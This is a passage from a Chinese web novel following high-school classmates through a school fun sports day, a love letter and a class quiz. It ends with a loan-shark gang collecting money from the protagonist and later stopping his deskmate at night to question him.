陈慢红着脸回来的,眼里框着不明显的泪,“我操啊,她裹我的时候,那个封条,他妈正卡着我胳肢窝,我真憋不住,就笑了……结果她没意识到,越往下,那封条还不停磨,我他妈还不笑,怎么可能嘛!我屁心事没有啊!” “哈哈哈哈哈哈……”吕丁边笑边表演甩头舞。 “心事,”易承接话,“现在有了。” 许桑可怜了他两秒,“至少赢了。” “你们,”陈慢哭不出来了,苦笑着抹掉鼻涕,从裤兜里摸出纸张,说道:“算了算了,接受不了真实的我,她不喜欢我也罢!” “笑死我了。”往台上丢了几张励志发言语的赵鸿途边听闲话边往这边走,见操场另一头的项目有了雏形,提醒道:“慢慢,是不是要准备下一个项目了?” “哦对,我操!” 陈慢从衣服包里抽出一堆纸,翻到赛事详情时,眼睛一亮,“下一场好玩啊,许哥,易哥,小丁,鸿途,我们五个都在!” “快快快,先去抢道具!”吕丁激动得一把搂住陈慢和赵鸿途的肩,往后探头,“你俩跟上!” 两场地,跨了整个操场。 过去的途中,台上的广播稿正好翻到赵鸿途交上去的。 “理一班的健儿们e one one on!什么词啊我靠……今日阳光灿烂,胜利就在前方,我日土翻了。无论是成功或是失败,无论欢笑或是泪水,我们理一班,一条裤子穿到底!” “怎么还是他班上的……遍布操场的理一班的同学们,嚯,这句帅…‘英雄舍我其谁,胜利当仁不让!’哦,引用的啊,难怪。理一班,加油加油加油……他妈再加该爆了啊……加油加油加油!” “文11班的运动健儿们……” “我服了啊,上面念稿的谁啊?”吕丁迎着阳光,眯眼往上看了一眼,“还边念边带吐槽的,有这水平怎么不上吐槽大会啊!” “有点熟悉啊。”赵鸿途推了推眼镜,看清人时,往后退了一步,小声跟后面的人说道:“小丁心动过的女生。” 易承挑眉:几天没见,一个二个情窦都开了啊。 “咳!”陈慢憋笑着,“这眼神,要我是这女生,喜欢瞎子也不喜欢他!” 领到红色绑带前,先要进行一次排队验人。 许桑验得快,领到号码牌时,站一旁等他们。 刚扫了眼号码“08”,身边突然冲进来个女生,他本能地往后躲开,回神时,头上顶着个粉红色大发夹的女生匆匆转向,红着脸,颤巍巍地瞪了眼身后推她一掌的女生,而后,娇羞地递上一封粉成蜜桃的信封,道:“你好,同学,那个,我……我喜欢你,可以当我男朋友吗?” “……”许桑遇到过表白的,还没遇到过这么直白的,轻皱眉,“你是谁?” “我,我是文科13班的黄意意。那个,从你来的第一天起,我就注意到你了。剑眉星目,风月之姿,行止可章,貌比潘安,才比谢安……” 易承过来时,看得的便是这一幕。他轻挑眉稍,侧站一旁,懒着眼看许桑。 “谢谢。”许桑打断她的四字词语轰炸,平静地回道:“不可以。” 女生僵了两秒,要哭不哭时,将信封甩到了许桑身上,跑开前,说道:“那你也收着!” “嗯?”许桑看着落在脚边的信,落在假草上,突兀得像可回收垃圾,便弯身捡起来了。 “他接你的情书了,我靠,有戏啊!” “哎呀,你小声点,哈哈…” “啧。”等女生走远,易承才走到他旁边,淡淡瞥了眼粉嫩的信封,说道:“同桌,魅力大啊。” “……”许桑将信封打开,闻声挑眉,“想要啊?” 看了眼封面上刹然写明的“情书”二字,他轻皱眉,一目十行地读完后,顺手扔进旁边文14班的非透明班级垃圾袋里,偏头轻声,“给你写一封?” 易承微顿,明知道他是玩笑话,但听到时还是愣了两秒才回道:“倒也没有这么想要。” 许桑轻笑一声,补充,“一百一封。” “……”易承又“啧”一声,挑眸瞭了眼他胸口,而后往上撩到他眸里,叹道:“这心够黑。” 第34章 第34章 【“这劲儿,我喜欢。”】…… “小丁, 咱俩有默契,一组。”陈慢看了眼名单,老练地安排着, “许哥易哥,你俩身高差不多,就一组吧;鸿途和李云平一起,剩下的自动成组……安排完了, 加油,理一班必胜!” “趣味赛还讲‘必胜’呢?”二班带队班长走过来, 握出拳头砸了下陈慢的肩, “不该先讲友谊吗?” 陈慢吃痛,一刻也不消停地怼回去:“一班打二班,专司吊打!没听过吗?讲个毛线的友谊!” “行,这话可是你说的。到时候完虐你们!”二班班长回头看了眼自己的队友,高声,“二班怕过谁, 打得一班屁滚尿流!” “幼稚。”陈慢大声说完,将领到的红色绑带分发给队员,说道:“管他赢不赢的,开心最重要。当然,能打翻他们,再好不过了!” 场地布置好时,看比赛的同学已经围了两三层不止。各班没组织啦啦队的情况下,气氛都相当到位。 “刚从木乃伊那儿回来, 参赛的有个傻子一直笑,太魔性了。我他妈笑得根本停不住,现在肚子还痛……” “本来以为今年的运动会就是一坨大便, 没想到,比想象中的有看头,期待了期待了。” “姐妹,看最边上那组,这颜值,帅死了,我靠!” “妈的,没戴眼镜,但看轮廓就觉得好帅,偷偷拍一张给我,快快,我出资20!” …… “各组并排站,一左一右两条腿绑紧就行。切记,是绑紧,要是中途带子松了散了算犯规。”组织的老师看了眼场上的十多组人,擦了擦眼睛,“等会,我哨子吹响,你们就跑。不犯规前提下,可以不择手段,哪组先到,先获胜!明白吗?” “明白明白!” 站在起跑线上,易承看了眼许桑腕上缠着的绑带,说:“我来吧。” “嗯。”许桑懒得弯腰,取下绑带便递给他。 易承半蹲下身子,绕缠两圈撕下隔膜条后,将粘带按紧。刚想直起身子,忽而看到他鞋带有些散,索性直接蹲下,帮他系好鞋带。 小腿脚踝处有了些实感,但没见人起身……许桑低眸,“还没好?” 手上打着系结,易承仰头,偏头躲开有些刺眼的阳光,看向他,“马上。” “……”许桑刚想说什么,看清他动作时,顿了下,伸手,借校服的宽袖,遮了些落他眼旁的光。 “谢了。”易承笑着,拉紧,松手后,起身。 “老师,犯规是只有绑带不散这一项吗?”吕丁举手,发问。 “是。”组织老师旋着挂了口哨的绳子两转,反问,“这项目,卡这么死,还能有什么花招能玩儿……” 吕丁转过脑袋,看着陈慢贼贼一笑:“好的,明白,谢谢老师!” “自己活动一分钟,事先交流好,找好策略,不然容易出现一个被另一个拖着跑的情况。” 闻声,易承看了眼身旁的人,神色淡然,不禁问道:“交流交流?” 许桑偏头,轻皱眉,“很难?” “……”易承笑了,“这劲儿,我喜欢。” “预备——跑!”哨声落下,组织老师都激动得原地起跳。 说“预备”时,易承自然抓上许桑的手腕,许桑侧眸,看了他一眼,便目视前方。 哨声尾音堪堪落下,两人默契出腿,第一步走得毫无压力……加之身形差异不大,迈步大小都控制得相当雷同。 以压倒性的速度立在终点线时,易承笑着用胳膊贴他,“可以啊。” 许桑轻勾唇,“你也还行。” 场上,还在疯狂角逐。 “我操,帅的那队好快!” “我他妈差点以为看的是百米赛跑,这默契,一人共享两身吗?” “牛逼克拉斯……等等,你们看中间,我要笑麻了,哈哈哈……” “怎么还能翻跟斗啊,我真是醉了!” “哈哈哈……绑着腿真的能翻跟头啊,我靠,刚想说好丝滑,怎么就翻倒回去了…” 讨论瞬间变味儿了!观众的焦点顿时转向中央,吕丁陈慢那组。 见状,易承笑道:“难怪赛前他俩拿了四五根绑带。” 许桑轻挑眉,看着在地上滚得满头满身全是草渣子的人,轻顿,“难怪赛前问犯规内容。” “……”组织老师扶额,拿过话筒,竟有些不知从何说起,便又放下。 比赛结束时,辅助颁奖的人把奖状捞出来,看了眼参赛名单,按一二三等奖依次写下名字。 等的过程中,吕丁和陈慢一边拍掉身上的草渣,一边走过来。 “易哥,许哥,你俩好快啊!”吕丁拍了拍帽子,眯缝着眼,“我们开始准备了两个战术,还没来得及换第二个战术,你们居然就已经结束了……太牛逼了吧!” 易承依然牵着许桑的手腕,听他说话时,手指轻轻刮蹭着他手腕内侧突起的筋,学名叫什么,掌长肌腱,感受着指尖触及的温度,他笑着,“战术?” 许桑轻顿,往下瞥了一眼后,移开了视线。 “这就说来话长了。”陈慢内蕴丰富地点点头。 “对,我们开始是蹦着走的,就是不管绑着的两条腿,直接蹦着跳到终点,但太累了,到中间就蹦不动了。第二个预备战术就是翻跟斗,我刷到的视频里都是一翻一大截,没想到真翻起来,还不如蹦的远,关键是,后面没力气了,没翻过去,居然还能往回滚……也挺无语的。” “……” 赵鸿途姗姗来迟,和他一队的李云平直接回了班级范围,毕竟没奖可拿。 大概就是所谓好学生情结吧,遇到类似趣味性的项目,第一考量定是形象问题。 放不开,能玩不出个屁啊…… 负责摄影的同学拿着相机下指令: “奖状,两个人一人拿一角,合张影就行……茄子!再来一张,茄子!” 等回到班级区划时,陈慢伙同几个男生,去抱了几箱矿泉水和零食,分发时,热情昂扬,“咱一班就是好样的!现在进行了三个项目,三个第一都在咱班,太棒了!” 他话一落,底下乱七八糟坐着的人劈里啪啦砸着巴巴掌,还有接二连三地仿猿嚎叫:“呼~” 拧开瓶盖,易承喝了一大口,见许桑没掩着,光明正大在扫题,问道:“数学吗?” “嗯。”许桑过了这道选择题,等下一题加载出来时,也开了瓶水,喝了口,邀请,“一起?” 易承瞄了眼题,看到右上角的五星满级难度,调侃:“你做我看,也行。” “不至于。”许桑看了眼题,直接划向下一道。 “嗯。”易承坐近了些,垂眼看题。 跟了几道题后,易承“啧”了声: 他同桌,水平还真不赖,做起题来,始终一副风轻云淡的模样;大部分情况下,自备的草纸都没用,有的勾几条线,甚至于只列好一半的式子,答案便出来了。 他偏头,沉思: 若放在之前,说不定还比不上他的速度。 年级第一,当之无愧。 高三学生,能出笼半天已经是学校领导“仁至义尽”的决定了……但基于学校过于神经的运动会“推迟至无”的旧例,这次趣味运动会,慷慨地行进到了下午五点。 饿着肚子榨干完食堂……直到撑着肚子坐在教室里等晚自习开始,大部分同学还有一种犹在梦里的错觉。 大概是,饿久了连“屎”都觉得香的同类毛病吧。 “同学你好,请问吕丁同学在吗?”前门处,一个女孩探个头进来。 门口的女生往后看了眼,“在。要叫人还是送东西?” “让他出来吧。”女孩说了一句,便把脑袋缩回门外。 “哦。”女生懒得离座位,清了清嗓子,使出九牛二虎之力,大声,“吕丁,李纳找你!” “我操!”正闷着觉呢,这一嗓子,直接给他从南极哐啷到北极。 吕丁登时坐直,抹了把口水,一激灵,“李纳?” 陈慢张圆了嘴,“嚯”了一声,提醒,“你未来女朋友。” 更清醒了,吕丁激动了两秒,往手心啐了口水,连忙扒拉头发,嘴里念念有词,“不是,她来找我,不会是要表白吧……我,我还没出击呢,哈哈…不行,我要矜持…咳,慢慢,看我帅,不行,你审美不够——” 他飞速转身:“易哥,看我这造型可以吗?” “我他妈……”陈慢口中的脏话,屎一样顺畅得就出来了。 易承从回来时就睡着,此时被吵了这么一耳朵,皱眉,睁眼扫了人两眼,“可以,鸟拉屎专挑这地儿。” “……”吕丁瘪嘴,连忙道歉,“易哥你继续睡。许哥,你看我一眼,这造型,行不行?” 许桑淡淡看了眼,平静:“可以。” “有你这句话就够了!”吕丁自信抬头,从板凳上跨出去,还特意把校服外套脱了缠腰上打了个结,自以为风度无端地出了教室门,笑眼相迎,“你好啊,同学……” 两分钟后,他顶着满脑子问号回来了。 “这眉头皱的,你在修炼什么秘术吗?”陈慢忍不住转过头来八卦。 “不是,”吕丁皱着眉,越皱越深,“不是…” 陈慢急了:“什么啊?” “李纳问我,是易哥脾气好还是许哥脾气好。”吕丁不解,五官皱得像是丑皮猩猩。 “啊?”陈慢共鸣在了他的情绪里,“那你答的谁?” “易哥啊。”吕丁双手托腮,“许哥有时候冷冷的,我都不敢上去扒拉。” “想法差不多。”陈慢又问:“那然后呢?” “然后,就没有然后了啊……你就说奇怪不奇怪吧。” “奇不奇怪”的问题还没问到答案,晚自习第一节便开始了。 徐富腋窝里夹着一叠卷子,走上讲台,笑吟吟的,“同学们,今天好玩儿吧?” “好玩好玩,笑得我现在腮帮子都酸!” “说‘不好玩’能再开一次吗?” “要不是那破考试,我绝对报名了,可惜了…” …… “收!”徐富看着一张张笑脸,也跟着咧嘴,“‘劝君惜取少年时’啊,懂得青春的宝贵了吧?多参与,多体验,就算是苦的,回忆起来也能是甜的……不参与,不体验,回不回忆,都是苦的。” “哲理大师啊,老徐!”隔着十万八千里,陈慢都能拍一掌马屁股。 “嘿嘿。”徐富娇羞了两秒,正经,“好了,今晚做个随堂测试,35分钟后收卷。” 刚传下去,他连忙补充,“都别嚎啊。认真做,这是某学校最近的题,题非常好,当然,也难……能做多少做多少,不强求,但还是希望你们珍惜好题,尤其是我托关系挖来的好题!” 一般而言,在课上做题,比之正常上课,主观上会认为时间过得更快一些。 第一节下课铃打响时,有人还诧异地发问:“这么快?” 当然,也可能是抠了一节课脑袋,要交卷时发现还没翻页的更主观感受。 睡久了,易承起身,往厕所走。 刚出教师门,印象里叫李纳的女生忽地站了出来,拦路虎一样堵在他的去路上。 “找吕丁?”他往后退了一小步。 “不是不是。”李纳把背在身后、巴掌大小的牛皮纸袋拿出来,垂着头,“我……我朋友拍了张你的照片,想着还是交给你比较好,你收下吧?” “嗯?”易承轻挑眉,“谢谢。” 李纳把纸袋交到他手里,走开前,鼓起勇气,大声:“易同学,还有你同桌,真是帅死了!” “……”都给他整失措了,易承顿了下,“谢谢你。” 回到教室时,易承懒着靠在椅子上,将纸袋拆封,取出里面那张拍立得。 画质蛮清晰的,画面中,两少年,一站一蹲……时机抓得很巧妙,恰是一人仰头一人垂眸。 红白色校服并未在照片里消色,相反,添了些明艳色彩。袖口倾挡过刺眼阳光,斜出小片阴影。 满心是李纳,当了一节课间后门旁的“望妻石”,吕丁看到易承,就忍不住喊:“易哥。” “嗯?”易承反手扣下照片,看向人。 “李纳找你做什么?”想着,吕丁娇羞了两秒,“我不挑,什么都能吃;什么类型音乐都听;各种片儿都看——” “……”易承丝毫不怜惜地打破他的幻想,“没你的事。” “那能是谁的事?”吕丁抹掉情难自禁情境下的哈喇子。 易承见旁边的许桑刚好翻页,手便自然搭他肩上,轻挑眉:“我俩的事。” 第35章 第35章 【今晚这是,睡饱了?】…… 这话“前不着村后不着店”, 换个场地就是“疑案”一桩……当场迷了两人。 许桑翻页没翻利索,一记眼刀落他手背上,冷声, “毛病?” 吕丁皱着眉,“不是,李纳也没那么大胃口,一次性喜欢两个吧?关键我还拦前面呢!” “……” 易承顿了两秒, 将照片翻了个面儿,推到了桌子毫米级别的缝隙上。 “我操, 帅啊!李纳这么会拍呢!”吕丁就差扒着照片喊“爸”了, 满眼的"亮晶晶”。 许桑看到照片时,顿了两秒,尤其是看到照片里,蹲着的那位澄亮的眸子,脑海中清晰浮现当时那一幕。 被牵着腕默契跑到终点线,不知怎的, 回忆着,手腕内侧轻轻发烫……许桑别开眼,顺势用笔拨开他的手,继续无事发生地做题。 “看够了?” 吕丁转着角度审视这张照片,闻声应道,“没够。” “……”易承冷漠地抽回照片,“够了。” “……”虽然无语,但吕丁自我调节速度惊人, 给易承找好理由——“我的帅脸是你想看多久就能看多久的吗?”或者,“照片里又没你,别他妈自以为长了双眼睛就什么都能看!”——便绕开话题, “易哥,你说,我该不该去学拍照?” 易承把照片塞进书里,借他同桌的原话:“毛病?” “没毛病!”吕丁用食指勾着下巴,深思熟虑,“就是在想,李纳这么会拍,要是我拍得比她更好,会不会——” “吕丁!” “我操。”心里条件发射地骂了一句。背后长毛而后炸毛,简直像是一秒内极限发生的事,吕丁凉耸着后背,颤巍巍地站直,鞠躬:“老徐。” “态度这么好?”徐富还没踏进教室,刚想蹦进来大骂一场,没料到人先一步服软,语气就缓和了些,“你这一天天的,是太闲了,还是上辈子就是株向日葵,支个脑袋到处转?瞧你坐的这一圈,哪个像你的sun?” “都像。”吕丁满脑子都是“son”,徐富疑问的尾调没扬完,他就争着抢答。 “你!”徐富大概也明白这破烂而掉面的谐音了,一甩胳膊,往里站进来,“我等会就来看看,上节课的题你做成什么鬼样子!但凡没及格,明早上,上讲台给我讲题!错一道,老子打一笤帚!” “老徐,我错了,我是儿子是孙子,还是什么王八羔子,狗屁蛋子,孙二麻子……我——” 眼见徐富麻溜堵上两耳塞的易承轻抬下巴,体贴道:“人走了,孙二麻子。” 吕丁消停下来,抹掉强行挤出的眼泪,疑惑,“这么快?” 他话一落,徐富抄起许桑桌上的数学书就往他脑袋上一敲,呵道:“王八羔子,还不坐下!” 许桑看了眼数学书:“……” 周遭看完热闹的,笑得相当隐忍,以至于脸憋成了猴子屁股还不自知。 “这么热啊?”徐富背着手从后排走到前排,“边上的把窗子都打开,透透气儿,等会憋出问题了,我就是有七十二个分身都扛不住这责任!” “哈哈哈哈……老徐,怎么突然有点可爱!” “可爱,你从哪只眼睛看出来的?” “长不长眼睛都看出来了……小黑子!” “糟了,高考压力给到老徐,都已经幻想自己是孙猴子了。” “就你这理解能力也很难有高考压力……圣黛cp成真了,这他妈都不能是个幻想!” “我还站这儿呢,聊这么欢!”徐富接过课代表收上来的一沓卷子,怨声:“是不是我出去一趟,回来房顶都该掀翻了?” 一般这种情况,徐富还没生气,但已经要到生气的边缘了。 不是谁都像吕丁,人刚死就往人坟头上蹦迪……于是乎,陆陆续续地,由此到彼地,交谈声式微,学习氛围渐渐浓郁。 “吕丁,一共8道题,你对了一道,这一道,还是你ABCD选了遍,打擦边球擦对了。”徐富坐上面,平静地说完,又道,“你信不信找个高一的来,对的也比你多?” “……信。”吕丁起身。 毕竟有一道集合,一道函数呢。 “你后面的许桑,全对,做得非常好。”说到这,徐富皱得都快捋不直的眉毛终于顺了两秒,欣然一笑,“你去请教明白,明天早上第二节数学课,我随便抽两道,你上来讲。” 吕丁点头,“是。” “下课再交流,这会就别打扰人学习……”满脸欣喜地看了眼许桑,徐富忽地瞅到了一旁的易承,头顶的毛瞬间炸了,他厉声,“易承!你也是,对了两道,好不到哪儿去!” 易承懒懒地从胳膊堆里抬起头,轻笑,“好。” 应完,他偏过头又继续睡,一毫秒都不欲浪费。 “……”徐富“唉”了一声,撸起袖子继续操刀批改,边批,边叹气。 像时不时谁搁他屁股上踹了一脚似的。 “牛逼啊,陈班,恭喜你,成为今晚南城附中的焦点人物、流量王者!”打完下课铃,偷摸刷了半节课手机的男生,遥遥喊了一声。 “啥啊?”陈慢刚钻在题里,被生硬地拳打脚踢出来十几遍,正悲伤着呢,听这一句,抖擞了。 “表白墙上挂你的多了去了!”男生走过来,不嫌弃地往地上一坐,“说你是个幽默王子。” “嘿哟,有这好事。”陈慢也顾不得其他,摸出手机,关了飞行模式,埋进桌肚里刷起来,刷了三五分钟,他抬头,轰走男生,“去去去,我的魅力自古如此!” 男生拍拍屁股上厚重的白灰黑灰各种灰,小声:“染什么癖不好偏要染自恋癖!” “……”等人走开,陈慢往吕丁桌面上摊胳膊肘,“小丁,你刷手机没?” “刷屁!刚听许哥讲完题,正消化。”吕丁干瞪着题,苦声。 “你——怎么突然爱上学习了。”陈慢皱皱眉头,“不行,我也要学,直道超车!” 说完,他转过身去,拿笔前,往后一靠,说,“我先发你,你晚上回去看!” “嗯。”吕丁随意应付了一声,又一头栽进等差数列里。 陈慢点了截图,转发到微信时,凭着顺手框选了发送人后,便把手机塞回桌肚,煞有介事地刷起题来。 放晚的铃声响起时,教室里轰轰烈烈地散了一半。 许桑放笔,按揉着写了一晚上发酸的手指头,余光瞥到身旁,轻顿。 同桌这么久,还是头遭见他同桌踩点就走。 今晚这是,睡饱了? 今晚三节都是自习,前两节数学,最后一节语文,不过白晓莉家里有事,请假没来。 总结下来,挺自由散漫的一晚上。 题做多了,脖子疼脊背也闹不是……许桑简单收拾两下,单肩挎上书包,回家- “今天多少号?” “19号。” “嗯。”易承坐在石墩上,叼着根短毛草,双手揣兜里,皱眉,“那怎么还不来?” “我哪知道!”杨越坐不得石墩子,冰屁股,便抽来个板凳,套着件不合时宜但合气氛的加绒皮衣,“追钱都不积极,活该是群十八线混混!” “十八线?”易承勾唇笑了声,“这玩意也讲咖位了……” “那是。”杨越还想继续讲,忽见远处一群黑瞎瞎的人影,连忙站直,“十八线来了!” 易承低眸吐掉短毛草,嘴皮上还沾了些淡淡的苦涩,他拧眉,不太爽,抬眸看人的眼神里无形添了些厉,像带了根马蜂的屁股刺。 带头的其实不叫带头的,有名有姓,不过这不重要,知道他的绰号叫“巴黎蛋”就行。 身边一左一右两大护法,一个银兄,一个钱弟。 杨越一手搭在易承肩上,浑厚一声:“懂不懂准时的理儿?” “不懂。”巴黎蛋叼着根烟,烟头上猩红的火点在黑夜里闪着,将他面上的狡黠印得明显,“来吧,三万,交不出来我打断你的腿!” 隔着四五步距离,几块钱的破烟燃出难闻的劣质气味。 易承起身,将杨越拉到身后,厉声:“烟灭了。” “你说灭我就灭,我不要面子的吗?”说着,巴黎蛋还狠嘬了两口烟,吐出比他头还大的烟雾圈。 “就是就是,我们老大不要面子的吗?”钱弟往前挺了挺胸膛。 “关我屁事。”易承淡淡一声,行步带风地上前两步,眨眼功夫,手指夹过他嘴里叼着的烟,扔地上碾了一脚,“要抽滚回去抽。” “你!”巴黎蛋双手攥拳,刚想一拳打出去,忽地一股重力钳住他上脖子,而后,体感鲜明地,他感觉跟了自己十多年的双下巴狠狠往上突…… 银兄钱弟对了一眼,往后退了一步。 巴黎蛋愣了两秒,“我不抽了行吧!” 闻声,易承嫌恶地收回手,退后时,顺带在他衣服上擦了两把手,“早听话呢。” “……”巴黎蛋连退三步,清了清嗓子,厉声:“快他妈给钱!甭他妈废话,听着耳朵疼。” 易承“呵”了一声,提过一旁的书包,将临时塞进去的三打钱拿出,心底的浮躁掩在平静的语调里,道:“三万。” “快拿过来,小心他使诈。”巴黎蛋往身后的小弟看了几眼,忙道。 本来其实该见钱眼开的,但前两秒老大被威胁,前一秒老大有点怂……两小弟对视一眼,史无前例地默契转身,“你们去拿。” “……”后面三四个小弟顿顿索索地前进,贼摸地抱过三沓钱,颤声:“谢谢易哥!” “谢个锤子!”巴黎蛋一脚踹到抱钱小弟的屁股上,“是他欠老子钱!” “呵。”易承重新坐回石墩子,将书包拉链拉好,冷声:“下个月,我一并还清。” “算利息了吗?还一个月还清!”巴黎蛋嘴巴痒,摸了摸裤兜想掏支烟出来,但触及到易承跟过来的视线,心里骂道: 为个老头不让他抽烟,他妈易承有毛病吧…… 但想到才挨了一掌,双下巴还没安逸,他还是按捺住了,“该一年还一年,别以为老子不知道你想逃利息。” “连本带利,我一并还。” 说完,他搀着杨越,往回走,余留一地与黑夜同色系的人在风中受冷挨冻。 管他吃亏不吃亏的,他只想这场生出腥臭的利益关系,早些断裂。 第36章 第36章 【“不认识。”】…… 走出一截距离, 杨越停了步子,呛着咳了两声,皱眉问:“今天怎么这么激进?” “有吗?”易承手往下移了些, 节奏由快至缓地轻拍他的背。 路前方,黢黑被路灯的点点光亮分散出丝毫……如墨纸的夜色晦暗不明,易承看着前方,喉头发涩, 见杨越呼吸和缓,收了手, 用玩笑似的口吻说道:“突然想学习了。” “啊哈?”杨越脚下一个趔趄, 险些跌下去,他嘿嘿笑了两声,“想学习了?这话可不像你口中说出来的。你们班那徐老师,是给你灌了多少迷魂汤?” “……” 易承也跟着笑着,但笑意不达眼底,他轻声, “是喝迷魂汤了。” “好。”杨越没再多说什么,虽这话从易承口中说出来真跟笑话一样,可到底相处了两三年,他大抵知道这孩子的性子,即使不是想学习,也定是有其他想要的,他笑着,“那杨叔支持你!” 易承眼睫轻颤, 轻轻“嗯”了一声。 两人勾着搭着走了没两步,杨越忽地原地一咋呼:“哎呀!” 易承给这一声吓一激灵,往旁边挪了步:“大半晚上唱什么戏……” “我说怎么走的一身轻。”杨越手往后一摸, “刚走太急,我板凳忘拿了。那板凳,你戚姨天天要坐两屁股,那板凳同她,都快赶上我跟你戚姨的感情了,要明早起来坐下去感觉变了,她不给我骂个狗血淋头啊!” 婚龄比他年纪还大了,还比不过根儿板凳。 “……”易承默了两秒,“行,我去给您拿。” “我跟你一起去,那板凳认人。”杨越说着就拉着易承的手转了个向。 “认个屁!”易承拉住人,“您老快回去睡吧,脑子都木了。” “易小子,怎么说话呢!”杨越凹了两秒气势就凹不住了,想起自己信口胡诌的“板凳认人”,哈哈两声笑出来,“好,好,你去拿,我回去把脑子睡回来……” 实在被无语到了,易承轻笑了声,“嗯。” 路口的灯,方便谁躲迷藏一样,熄了两分钟;又调戏躲迷藏那人一样,啪地一下亮回来了。 许桑站在这路口,停了步子看了路灯两眼,默声。 这灯,再不修,该随机吓死一个路人了。 想着,他将滑偏的书包带子拉了下,正欲提脚向前,耳畔乍然响了几声嚎叫。 “我靠你大舅姑啊!尿差点给我吓出来了!” “一惊一乍搞毛线啊,老子被你吓一跳!” “妈的声音小点!扰民了你俩替我们住局子啊……” 脚步轻顿,许桑指尖轻磨书包带,而后自如地垂手,入兜。 面前,走进视线里的是七八个人。说年纪大吧,看着又蠢;说年纪小吧,胡茬满脸的又不太像样……不大不小一群人,带头的应在后面,腰上环着金链子,勒得肚子圆滚滚的。 一行,一人,都匿声了。 许桑还算平静,往后退了一小步,正好落在路灯底下。 椭圆形灯泡,打下的光线尽数落于他头顶,而后疏疏斜斜地流淌到有些褶皱的校服上,叠落到地上,形成个小小的黑影。 而整张脸,除了依旧鲜明的轮廓外,看不清具体神色。 “老大,前面有人!” 巴黎蛋扒开前面挡着的人,一口吐掉只剩拇指节长度的烟头,皱眉,“我他妈眼睛没瞎,看得到!” “这校服,好熟悉啊。”银兄把脑袋平移出去几厘米,细看,抹了两道眼睛,忽地大声,“老大,这校服我认得,就是易承他学校的!” 易承…… 许桑轻顿。 “哦,同学啊。”巴黎蛋又摸出一根烟,要不是知道抽烟的基本规矩,他愣是想报复性地三五根同时塞嘴里猛抽,熏死那易承…… 点燃烟,骨子都给他烧酥了似的,他贪魇地眯眼享受,“小子,乖乖听爷两句问话。” 裹着烟的熏人,他嗓音比猪糠还粗糙,听两句莫名生烦。 许桑不语,插在裤兜里的手指轻动。 “哑巴吗?”钱弟往前一步,忽地撞上一张“黑脸”,愣了两秒,“……大哥问你话呢!” 没得到答案不要紧,巴黎蛋自言自语惯了,再加上刚被易承灭了兴致,这时又能吸烟如常,他心情颇好,甚至有几分恍惚,把眼前这个看不清神情、但身量又颇为相似的人当成了易承…… 尼古丁侵蚀下的心魔,极度张扬,有几分想吐一圈又一圈烟在人脸上,直到把人呛个半死咳嗽不止。 巴黎蛋越想越兴奋,忘了呼气,差点被一口烟呛麻。他猛咳几声,泪都咳出来了,才故作正常地道:“认识易承吗?” 许桑淡声:“不认识。” “怎么可能,不是说长得帅的人都‘人见人爱,花见花开,怪兽见了都悲哀’吗?”巴黎蛋疑惑。 “老大。”银兄小声提醒,“那是猪猪侠。” “……”巴黎蛋回头瞪他一眼,“比喻一下!那总该听过这个人吧?” 该回家的点被形同虚设地“堵”在路口,多少都有些不耐烦,许桑轻皱眉,“没听过。” “怎么会呢?”巴黎蛋低声一句,“那我拦着人干嘛……”实在拂不下面子,他给了旁边钱弟一脚,招呼,“把易承照片给他。” 钱弟被踹得原地转了个圈,应声,“哦,好。” 他摸出手机,调着角度面部识别后,一步一顿地滑到许桑旁边,假咳了两三声,才把相册里为数不多但几乎全是易承的手机递过来,“你看看,熟不熟悉?” “……”要不是这二流子的气质过于浓厚,不知道的还以为他是易承“唯粉”呢。 许桑接过,滑着看了两眼。 除了第一眼看到的,越往下滑,大多都是偷拍的角度,除了侧脸就是背影,除了背影就是手指啊、腿啊、耳朵啊的…… 最后几张应是比较之前的,是从一张专栏上誊下来的。 还挺稚嫩一易承,剪着规矩的寸头,棱角分明、轮廓清晰的脸部线条相当漂亮,与没完全张开、但已然有些看头的五官适配度蛮高……照片框下,写着他名字,而下面的小字,还算清晰。 “热烈庆祝我校初三一班易承同学,一举夺魁,成为南城市朝昏区中考状元!卓越超群,成绩斐然……” 眉梢轻挑,许桑多看了这张照片几眼,到嘴的“不熟悉”临时转道,他递回手机时轻声,“熟悉。” “真是,就凭他那张脸,化成灰我都能认出来!”巴黎蛋往前一步,“哥问你,他成绩怎么样?” 许桑抬眸,语气冷冰冰的,“极差。” “那有希望领奖学金吗?” “……”许桑嗤笑一声,“没有。” “嘶,”巴黎蛋愣了两秒,又问:“那……你喜欢他吗?” “什么狗屁问题。”许桑皱眉。 “呃……看来不喜欢。”巴黎蛋又往前一步,“那刚好,我也不喜欢他。” 许桑摸到手机,向上攥紧手里,完全凭感觉地,他点开“录音”,不过也不知道按偏没有,反正随便了……他等着这人的下文。 “是这样的。”巴黎蛋有时候觉得自己很适合去当幼师,安慰起人来非常有门道,但一般没有这样的场景,但不妨碍他自我进入角色:“易承这人,欠我钱,很多钱,你可能这辈子都没听过这么大的数目。” 这“钩子”,有东西……许桑问:“多少?” “嗯,这你别管。”巴黎蛋又往前一步,同他一起站到灯下,“你说,他爸妈不在,就跟个叔叔混着,哪来钱还我?还有,我蹲他好久了,天天动不动就往学校跑,你又说他得不到奖学金,那跑个屁啊!” “这不能怪我追债追得急啊,我就靠他欠的钱生活呢!我有时候看他下顿馆子,我就气,我还没吃上好饭呢,天天饿的要死不死的。反倒他个欠债的,活得还蛮潇洒,是个人都要心里不平,你说是不是?” “……”许桑眼眸轻动,“有话直说。” “年轻人急什么。”巴黎蛋说着说着就往前靠,要说的话正欲脱口,屁股上忽然砸上个硬物,还长腿儿。几个“脚”硌得他屁股疼…… 他瞳孔猛地收缩,“哎哟嗷!” 横向腰围是比不过,但纵向身高上,许桑还是压巴黎蛋半头。 看清他身后飞窜出来的东西时,许桑迅即地向旁边挪了一步,才没碰到巴黎蛋因慌张而张开乱扑腾的双手。 “我操操操操!” “闹鬼了啊!保护老大……吓死个人呐!” 身后乱站的“队友”,跟麻雀一样,让颗“石子”扰得惊魂未定。 半分钟后,易承快步走来,视线越过人群看清许桑时,眸光微沉,他立原地,用脚勾起地上翻倒的板凳,顺便用脚尖带正。 巴黎蛋猛地转身,看到人时,一惊:“你他妈怎么在这儿?” 易承冷笑一声,脚尖轻点板凳腿,冷声:“落东西了。” “啊?”巴黎蛋心头一紧,“我他妈又没做什么坏事,你,你别用这个眼神看我。” “……”易承轻挑下巴,扫了眼他身后,“那你拦我同桌?” “同,同桌?”巴黎蛋迟钝了两秒,唰地原地一蹦,“你俩不是不认识吗?” 许桑指尖轻动,莫名别开了眼。 他摸出兜里的手机,看。 